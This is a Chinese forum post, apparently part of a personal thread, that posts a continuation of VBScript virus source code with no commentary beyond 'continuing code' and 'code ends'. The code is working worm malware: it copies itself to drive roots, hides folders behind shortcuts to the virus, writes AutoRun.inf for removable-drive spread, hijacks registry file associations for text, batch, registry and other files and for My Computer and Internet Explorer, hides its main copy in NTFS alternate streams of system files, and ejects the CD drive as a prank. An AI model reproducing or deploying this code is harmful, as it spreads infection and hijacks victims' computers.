主题：个人经验总结帖，内容不定，不定期更新 -- 休眠火山

继续代码。

Sub SetHiddenAttr(path)
On Error Resume Next
Dim vf
Set vf=FSO.GetFile(path)
Set vf=FSO.GetFolder(path)
vf.Attributes=6
End Sub
Sub Run(ExeFullName)
On Error Resume Next
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run ExeFullName
Set WshShell=Nothing
End Sub
Sub InfectRoot(D,VirusName)
On Error Resume Next
Dim VBSCode
VBSCode=GetCode(WScript.ScriptFullName)
VBSPath=D&":\"&VirusName
If FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
End If
Set Folder=Fso.GetFolder(D&":\")
Set SubFolders=Folder.Subfolders
For Each SubFolder In SubFolders
SetHiddenAttr(SubFolder.Path)
LnkPath=D&":\"&SubFolder.Name&".lnk"
TargetPath=D&":\"&VirusName
Args=""""&D&":\"&SubFolder.Name& "\Dir"""
If Fso.FileExists(LnkPath)=False Or GetTargetPath(LnkPath) <> TargetPath Then
If Fso.FileExists(LnkPath)=True Then
FSO.DeleteFile LnkPath, True
End If
Call CreateShortcut(LnkPath,TargetPath,Args)
End If
Next
End Sub
Sub CreateShortcut(LnkPath,TargetPath,Args)
Set Shortcut=WshShell.CreateShortcut(LnkPath)
with Shortcut
.TargetPath=TargetPath
.Arguments=Args
.WindowStyle=4
.IconLocation="%SystemRoot%\System32\Shell32.dll, 3"
.Save
end with
End Sub
Sub CreateAutoRun(D,VirusName)
On Error Resume Next
Dim InfPath, VBSPath, VBSCode
InfPath=D&":\AutoRun.inf"
VBSPath=D&":\"&VirusName
VBSCode=GetCode(WScript.ScriptFullName)
If FSO.FileExists(InfPath)=False Or FSO.FileExists(VBSPath)=False Then
Call CreateFile(VBSCode, VBSPath)
Call SetHiddenAttr(VBSPath)
StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open=打m(&O)"&VBCRLF&"shell\open\command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open\Default=1"& VBCRLF&"shell\explore=m源管理器(&X)"&VBCRLF&"shell\explore\command=WScript.exe "&VirusName&" ""AutoRun"""
Call KillImmunity(D)
Call CreateFile(StrInf, InfPath)
Call SetHiddenAttr(InfPath)
End If
End Sub
Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetIniFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetInfFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetBatFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetCmdFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetIEAss(sFilePath)
On Error Resume Next
Dim Value
Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OIE "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ")
End Sub
Sub SetMyComputerAss(sFilePath)
On Error Resume Next
Dim Value1,Value2
Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC "
Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC "
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")
Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")
End Sub
Function GetSerialNumber(Drv)
On Error Resume Next
Set d=fso.GetDrive(Drv)
GetSerialNumber=d.SerialNumber
GetSerialNumber=Replace(GetSerialNumber,"-","")
End Function
Function GetMainVirus(N)
On Error Resume Next
MainVirusName=GetSerialNumber(GetSystemDrive())&".vbs"
If GetFileSystemType(GetSystemDrive())="NTFS" Then
If N=1 Then
GetMainVirus=Fso.GetSpecialFolder(N)&"\smss.exe:"&MainVirusName
End If
If N=0 Then
GetMainVirus=Fso.GetSpecialFolder(N)&"\explorer.exe:"&MainVirusName
End If
Else
GetMainVirus=Fso.GetSpecialFolder(N)&"\"&MainVirusName
End If
End Function
Function VBSProcessCount(VBSPath)
On Error Resume Next
Dim WMIService, ProcessList, Process
VBSProcessCount=0
Set WMIService=GetObject("winmgmts:\\.\root\cimv2")
Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
For Each Process in ProcessList
If InStr(Process.CommandLine, VBSPath)>0 Then
VBSProcessCount=VBSProcessCount+1
End If
Next
End Function
Function PreDblInstance()
On Error Resume Next
PreDblInstance=False
If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
PreDblInstance=True
End If
End Function
Function GetTargetPath(LnkPath)
On Error Resume Next
Dim Shortcut
Set Shortcut=WshShell.CreateShortcut(LnkPath)
IgvTargetPath=Shortcut.TargetPath
End Function
Function GetCode(FullPath)
On Error Resume Next
Dim FileText
Set FileText=FSO.OpenTextFile(FullPath, 1)
GetCode=FileText.ReadAll
FileText.Close
End Function
Function GetVersion()
Dim VerInfo
VerInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
If ReadReg(VerInfo)="" Then
GetVersion=0
Else
GetVersion=CInt(ReadReg(VerInfo))
End If
End Function
Sub VirusAlert()
On Error Resume Next
Dim HtaPath,HtaCode
HtaPath=Fso.GetSpecialFolder(1)&"\BFAlert.hta"
HtaCode="暴p一p"&VBCRLF&""&VBCRLF&"
"&VBCRLF&"N
"&VBCRLF&"暴p一p"&VBCRLF&"
"
If FSO.FileExists(HtaPath)=False Then
Call CreateFile(HtaCode, HtaPath)
Call SetHiddenAttr(HtaPath)
End If
Call Run(HtaPath)
End Sub
Function GetInfectedDate()
On Error Resume Next
Dim DateInfo
DateInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
If ReadReg(DateInfo)="" Then
GetInfectedDate=""
Else
GetInfectedDate=CDate(ReadReg(DateInfo))
End If
End Function
Sub MakeJoke(Times)
On Error Resume Next
Dim WMP, colCDROMs
Set WMP = CreateObject( "WMPlayer.OCX" )
Set colCDROMs = WMP.cdromCollection
If colCDROMs.Count >0 Then
For i=1 to Times
colCDROMs.Item(0).eject()
WScript.Sleep 3000
colCDROMs.Item(0).eject()
Next
End If
Set WMP = Nothing
End Sub

代码结束。